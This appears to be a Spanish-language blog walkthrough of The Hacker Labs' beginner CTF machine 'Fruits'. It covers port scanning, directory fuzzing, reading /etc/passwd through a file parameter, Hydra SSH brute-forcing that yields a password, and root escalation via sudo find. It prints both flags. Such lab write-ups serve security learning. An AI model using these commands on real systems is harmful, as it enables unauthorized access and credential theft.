Post

CTF-Fruits

Guia en texto del CTF Fruits de The hacker Labs, incluye enumeración de puertos, tecnicas de recopilación de información, acceso y escalamiento de privilegios.

Índice

1.Fruits

1.1Detalles de la máquina virtual

2.Reconocimiento

2.1.Escaneo de vulnerabilidades con Nmap

2.2Visualización de sitio web :80

3.Recopilación de información

3.1 Consulta al buscador de sitio web

3.2 Fuzzing con Dirb

3.3 Fuzzing con GoBuster

3.4 Consulta a /fruits.php

3.5 Revisión con BurpSuite

4.Conseguir Acceso

4.1 Fuerza Bruta con Hydra

5.Escalamiento de privilegios

6.Recomendaciones

7.Conclusiones

1. Fruits

1.1 Detalles de la máquina virtual

Fruits es una máquina Virtual es proporcionada por la reciente plataforma web de CTFs The Hacker Labs, agradeciendo su contribución y apoyo a la comunidad para seguir creciendo y aprendiendo sobre este apasionante mundo de la ciberseguridad. Visitalos: The Hacker Labs

imagen.

Después de descargar la Máquina Virtual, te muestra un archivo .ova el cual, al ejecutarlo, despliega la máquina virtual en VMware o VirtualBox y automáticamente se asigna una dirección IP de la red en la que estás trabajando.

Vm nameIp AdressCreatorsLevel
Fruits192.168.1.12The Hacker LabsPrincipiante

2. Reconocimiento

2.1 Escaneo de vulnerabilidades con Nmap

Se valida la conectividad hacia el objetivo desde nuestra máquina Kali. Con esto, podremos iniciar el descubrimiento de servicios y posibles vectores de ataque.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿V4lcyfer)-[/home/kali]
└─# ping 192.168.1.12 -c 3
PING 192.168.1.12 (192.168.1.12) 56(84) bytes of data.
64 bytes from 192.168.1.12: icmp_seq=1 ttl=64 time=0.558 ms
64 bytes from 192.168.1.12: icmp_seq=2 ttl=64 time=0.995 ms
64 bytes from 192.168.1.12: icmp_seq=3 ttl=64 time=1.21 ms

--- 192.168.1.12 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2006ms
rtt min/avg/max/mdev = 0.558/0.919/1.205/0.269 ms

Se utiliza Nmap para recopilar información que pueda ser usada posteriormente para realizar un ataque. El comando utilizado fue nmap -sVC 192.168.1.12, el cual nos da como resultado que tenemos dos puertos utilizados por el objetivo 22, 80.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
──(root㉿V4lcyfer)-[/home/kali]
└─# nmap -sVC 192.168.1.12
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-11 22:01 EDT
Nmap scan report for 192.168.1.12
Host is up (0.00014s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 ae:dd:1a:b6:db:a7:c7:8c:f3:03:b8:05:da:e0:51:68 (ECDSA)
|_  256 68:16:a7:3a:63:0c:8b:f6:ba:a1:ff:c0:34:e8:bf:80 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: P\xC3\xA1gina de Frutas
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 00:0C:29:ED:49:E1 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.49 seconds

2.2 Visualización de sitio web

Vamos a revisar el sitio web que nos proporciona el objetivo para buscar algo que nos pueda llamar la atención y abordar el reto.

imagen.

3. Recopilación de Información

3.1 Consulta al buscador del sitio web

Realizamos una búsqueda simple en el sitio web proporcionado y validamos que no hay una respuesta del servidor, por más que busquemos cualquier cosa. Lo que sí me llama la atención es la forma de la respuesta .php?busqueda=manzana; tiene la forma como para intentar un poco de path traversal.

imagen.

3.2 Fuzzing con Dirb

Con la sospecha de la URL anterior, vamos a realizar un listado de directorios disponibles en el sitio web con la finalidad de encontrar información que nos pueda ser útil.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿V4lcyfer)-[/home/kali]
└─# dirb  http://192.168.1.12    

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat May 11 22:53:08 2024
URL_BASE: http://192.168.1.12/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.12/ ----
+ http://192.168.1.12/index.html (CODE:200|SIZE:1811)                                                                                                                                                               
+ http://192.168.1.12/server-status (CODE:403|SIZE:277)                                                                                                                                                             
                                                                                                                                                                                                                    
-----------------
END_TIME: Sat May 11 22:53:11 2024
DOWNLOADED: 4612 - FOUND: 2

3.3 Fuzzing con GoBuster

El resultado con Dirb no fue muy alentador, pero siempre me gusta utilizar más de una herramienta para listar directorios web y comparar resultados. La experiencia me dice que algunas veces se encuentran cosas interesantes durante estas comparativas. Por ello, ahora utilizaremos GoBuster, que junto con Dirsearch, se han vuelto mis favoritas.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿V4lcyfer)-[/home/kali]
└─# gobuster dir -u http://192.168.1.12 -t 20 -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt -x 'txt,php,html'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.12
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 1811]
Progress: 566832 / 566836 (100.00%)
===============================================================
Finished
===============================================================

No se encontraron resultados interesantes, pero lo bueno de GoBuster es que puedes modificar el parámetro de búsqueda y cambiar el diccionario con el que hace pruebas por otros más complejos o completos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿V4lcyfer)-[/home/kali]
└─# gobuster dir -u http://192.168.1.12 -t 20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x 'txt,php,html'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.12
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 1811]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/fruits.php           (Status: 200) [Size: 1]
/server-status        (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
                                                                

En este nuevo intento con otro diccionario pudimos listar algo interesante, /fruits.php.

3.4 Consulta a /fruits.php

Vamos a revisar el contenido de /fruits.php.

imagen.

No se observa contenido, pero vamos a darle una revisada más detallada. Para esto, nos ayudaremos con BurpSuite.

3.5 Revisión con BurpSuite

Capturamos la consulta GET de /fruits.php para poder modificarlo con la opción repeater.

imagen.

Intentamos varias formas de listar resultados con path traversal pero la que nos dio un resultado fue file=/etc/passwd.

imagen.

Con este resultado podemos observar los usuarios que tiene el objetivo, el que inmediatamente nos llama la atención es bananaman.

imagen.

Podríamos intentar utilizar fuerza bruta para obtener la contraseña de usuario y conectarnos al servicio SSH previamente detectado.

4. Conseguir Acceso

4.1 Fuerza Bruta con Hydra

Utilizaremos Hydra para intentar obtener la contraseña de ’bananaman’. Para este caso, utilizaremos el diccionario más conocido, Rockyou.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿V4lcyfer)-[/home/kali/Downloads]
└─# hydra -t 64 -l bananaman -P rockyou.txt ssh://192.168.1.12 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 00:56:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~224132 tries per task
[DATA] attacking ssh://192.168.1.12:22/
[22][ssh] host: 192.168.1.12   login: bananaman   password: celtic
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 24 final worker threads did not complete until end.
[ERROR] 24 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 00:57:44

¡Bingo! Obtenemos la contraseña de bananaman. Con esto, podremos conectarnos mediante el servicio SSH con la contraselña celtic.

1
2
3
4
5
6
7
8
9
10
11
12
└─# ssh bananaman@192.168.1.12
bananaman@192.168.1.12's password: 
Linux Fruits 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 14 17:36:53 2024 from 192.168.1.11
bananaman@Fruits:~$ 

Una vez conectados, obtenemos la primera flag, la del user.txt. Lo que sigue es escalar privilegios para convertirnos en root.

1
2
3
4
5
6
7
bananaman@Fruits:~$ id
uid=1001(bananaman) gid=1001(bananaman) grupos=1001(bananaman)
bananaman@Fruits:~$ ls
user.txt
bananaman@Fruits:~$ cat user.txt 
482c811da5d5b4bc6d497ffa98491e38
bananaman@Fruits:~$ 

flag de user.txt: 482c811da5d5b4bc6d497ffa98491e38

5. Escalamiento de privilegios

Lo primero es validar si el usuario bananaman puede ejecutar algo sin permisos de root.

1
2
3
4
5
6
7
bananaman@Fruits:~$ sudo -l
Matching Defaults entries for bananaman on Fruits:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User bananaman may run the following commands on Fruits:
    (ALL) NOPASSWD: /usr/bin/find
bananaman@Fruits:~$

Observamos que puede ejecutar el comando find sin permisos de root. Ahora tenemos que buscar si podemos obtener una shell con privilegios de root usando alguna configuración con este comando, siguiendo algunos parámetros.

Despues de unos buenos minutos de busqueda logramos encontrar algo que nos podria ayudar.

imagen.

Fuente: Andrea Fortuna

Ahora probamos el comando recomendado para escalar privilegios.

1
2
3
4
bananaman@Fruits:~$ sudo find /etc/passwd -exec /bin/bash \;
root@Fruits:/home/bananaman# id
uid=0(root) gid=0(root) grupos=0(root)
root@Fruits:/home/bananaman# 

¡Somos root!, ahora buscamos el archivo root.txt para obtener la flag y asu terminar este reto.

1
2
3
root@Fruits:/home/bananaman# cd /
root@Fruits:/# ls
bin  boot  dev	etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var	vmlinuz  vmlinuz.old

buscamos en el directorio root donde normalmente encontramos la flah y listo.

1
2
3
4
5
6
root@Fruits:/# cd root
root@Fruits:~# ls
root.txt
root@Fruits:~# cat root.txt 
21232f297a57a5a743894a0e4a801fc3
root@Fruits:~# 

la flag de root.txt es: 21232f297a57a5a743894a0e4a801fc3

6. Recomendaciones

  • Es recomendable, como buena práctica, comparar el resultado de distintas herramientas que se utilizan con el mismo fin. A lo mejor podemos encontrar nueva información que estábamos pasando por alto.

  • Tener frescas las técnicas más usadas de hacking web, en este caso la forma del path traversal, ayuda mucho a tener una dirección de por dónde podemos seguir indagando y no atorarnos en algún punto.

7. Conclusiones

  • Muchas gracias The Hacker Labs y a su equipo CondorHacks y Curiosidadesdehackers por el gran trabajo en este reto, fue muy divertido. Continuen con este gran trabajo.

Saludos!

!Hack the life!

This post is licensed under CC BY 4.0 by the author.